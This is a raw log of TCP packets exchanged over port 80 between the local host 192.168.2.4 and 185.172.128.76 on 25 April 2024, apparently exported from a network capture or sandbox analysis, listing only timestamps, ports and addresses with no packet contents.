Apr 25, 2024 14:42:08.927345991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927361012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927371979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927385092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927397966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927407980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927417040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927445889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927460909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927474022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927499056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927509069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927563906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927604914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927608967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927649975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927675962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927714109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927738905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927778006 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927800894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927838087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927844048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927874088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927879095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927917957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927956104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927968979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927995920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927999973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928013086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928039074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928065062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928112984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928116083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928129911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928143024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928158045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928168058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928186893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928208113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928221941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928231955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928247929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928260088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928277969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928296089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928309917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928330898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928350925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.928412914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928426027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.928464890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.931905985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.977643967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.977806091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.978101015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.978154898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.978285074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.978322029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.978337049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.978334904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.978364944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.978379011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.978841066 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.978889942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.979309082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.979361057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.979386091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.979434013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.979602098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.979649067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.979675055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.979702950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.979717970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.979733944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.979742050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.979775906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.979911089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.979959011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.980298042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.980315924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.980350018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.980671883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.980722904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.980881929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.980930090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981059074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981101990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981106043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981144905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981180906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981228113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981357098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981401920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981403112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981442928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981467009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981513023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981575012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981621981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981628895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981667995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981723070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981771946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981779099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981817007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981842041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981900930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981928110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.981982946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.981998920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982024908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982042074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982063055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982064962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982100964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982264042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982323885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982527971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982594967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982597113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982636929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982645988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982677937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982681990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982716084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982719898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982754946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982759953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982795954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982799053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982835054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982841015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982878923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982894897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982919931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982937098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982939005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982955933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982959986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982974052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.982979059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982990026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.982992887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983009100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983031034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983084917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983100891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983125925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983139038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983139038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983166933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983179092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983205080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983263016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983282089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983309031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983318090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983357906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983371973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983396053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983406067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983494997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983508110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983534098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983546019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983582973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983597040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983622074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983634949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983648062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983659983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983688116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983699083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983726025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983766079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983772039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983809948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983810902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983824968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983850002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983860970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983887911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983927011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983937025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983954906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.983983040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.983994961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984021902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984056950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984081984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984116077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984134912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984174013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984184027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984222889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984247923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984286070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984375000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984414101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984438896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984477043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984483957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984522104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984549046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984591007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984610081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984647989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984703064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984715939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984744072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984755039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984771013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984808922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984827042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984841108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984865904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984878063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984890938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984926939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984931946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984955072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984966040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.984989882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.984992027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985028028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985053062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985091925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985116959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985131979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985156059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985167980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985192060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985228062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985253096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985266924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985291958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985304117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985316992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985330105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985341072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985363007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985369921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985385895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985400915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985445023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985470057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985482931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985508919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985521078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985544920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985584021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985613108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985639095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985651970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985682011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.985692978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.985730886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.022356033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.022372961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.022422075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.022433996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.022547007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.022547960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033123016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033143044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033155918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033206940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033230066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033250093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033265114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033277988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033294916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033308983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033339024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033380985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033380985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033422947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033515930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033555984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033689976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033737898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033807993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033823967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.033852100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.033864975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.034228086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.034277916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037275076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037322998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037323952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037363052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037363052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037404060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037412882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037439108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037451982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037481070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037513971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037528038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037539005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037553072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037554979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037569046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037590981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037604094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037650108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037801981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037813902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037842035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037853003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037872076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037898064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037923098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037944078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.037961960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.037976027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038002014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038013935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038028955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038069963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038096905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038109064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038131952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038137913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038149118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038170099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038178921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038213968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038217068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038261890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038295031 CEST	80	49731	185.172.128.76	192.168.2.4
